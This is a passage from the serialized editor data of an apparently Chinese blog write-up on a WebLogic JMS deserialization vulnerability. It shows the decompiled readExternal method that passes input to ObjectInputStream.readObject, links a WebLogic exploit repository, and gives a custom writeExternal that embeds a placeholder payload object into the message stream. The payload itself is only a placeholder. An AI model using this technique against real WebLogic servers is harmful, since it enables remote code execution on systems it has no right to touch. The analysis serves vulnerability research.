&gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5WF-1673852880326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hImJ-1673852880325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch (var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTyQ-1673852880328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vpob-1673852880327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5djk-1673852880330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;piWI-1673852880329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvgL-1673852880332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dwGN-1673852880331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GQ9-1673852880334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uucs-1673852880333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QKeu-1673852880336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsHo-1673852880335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQL2-1673852880338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T30b-1673852880337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CSo-1673852880340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAUh-1673852880339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nyer-1673852880342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vt36-1673852880341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FW1M-1673852880344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVe3-1673852880343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6TYg-1673852880346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbPb-1673852880345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qibw-1673852880348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv6p-1673852880347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEms-1673852880350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I58J-1673852880349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSqw-1673852880352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adT0-1673852880351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3bD-1673852880354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpRZ-1673852880353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bq7j-1673852880356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1673852880355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eR0P-1673852880359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNP8-1673852880358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N9W-1673852880361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBD6-1673852880360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuTt-1673852880363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8xf-1673852880362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uXF-1673852880365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svmI-1673852880364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBVb-1673852880367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCHk-1673852880366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5YRW-1673852880369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Fc-1673852880368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQu3-1673852880371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h59x-1673852880370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nEU-1673852880373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPlg-1673852880372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVCj-1673852880375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNVh-1673852880374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KvPl-1673852880377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r51f-1673852880376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1nM-1673852880379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwS8-1673852880378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSB6-1673852880381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jceO-1673852880380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N939-1673852880383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xNw-1673852880382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMS4-1673852880385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4FkG-1673852880384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e6D6-1673852880387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r4e3-1673852880386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6qLK-1673852880389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSU-1673852880388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1Tm-1673852880391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo3a-1673852880390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdvp-1673852880393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOPH-1673852880392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XF4E-1673852880395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGNd-1673852880394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s03-1673852880397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cj87-1673852880396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZPn-1673852880399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KgdG-1673852880398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PMw-1673852880401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dp6v-1673852880400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gV9N-1673852880403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GTPh-1673852880402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nHlB-1673852880405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGYR-1673852880404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3IU-1673852880407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ssOZ-1673852880406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iUrg-1673852880409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3F0Y-1673852880408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C3Pj-1673852863478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJXu-1673852863476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etN2-1673852427732&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsFE-1673852427730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考项目代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N7A-1673853031878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;egiI-1673853031876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;L40Y-1673853162645&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHt7-1673853162644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YNIP-1673853162646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZNu-1673853163816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9JY-1673853163815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自实现一个writeExternal逻辑：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2IZl-1673853200645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DW4-1673853200599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWgV-1673853200598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbOs-1673853200601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PRpa-1673853200600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;96bl-1673853200603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQRi-1673853200602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;scSg-1673853200605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzOb-1673853200604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2s3w-1673853200607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G2fH-1673853200606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h1pq-1673853200609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G4qo-1673853200608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1984-1673853200611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZWAZ-1673853200610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(\&#34;payload_here\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67cP-1673853200613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yarE-1673853200612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B0zY-1673853200615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IVQ-1673853200614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ZGv-1673853200617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ryp-1673853200616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5M-1673853200619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ea6y-1673853200618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InvocationTargetException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkCI-1673853200621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOrX-1673853200620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oed7-1673853200623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iMhG-1673853200622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InstantiationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLQE-1673853200625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lXNX-1673853200624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rwfb-1673853200627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;paeR-1673853200626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O0f-1673853200630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtDq-1673853200628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NHvl-1673853200632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UqN6-1673853200631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (ClassNotFoundException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6hx-1673853200634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jAm-1673853200633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLCP-1673853200636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sour-1673853200635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFX6-1673853200638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q78G-1673853200637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmOH-1673853200640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9EL-1673853200639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KUYr-1673853200642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLat-1673853200641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    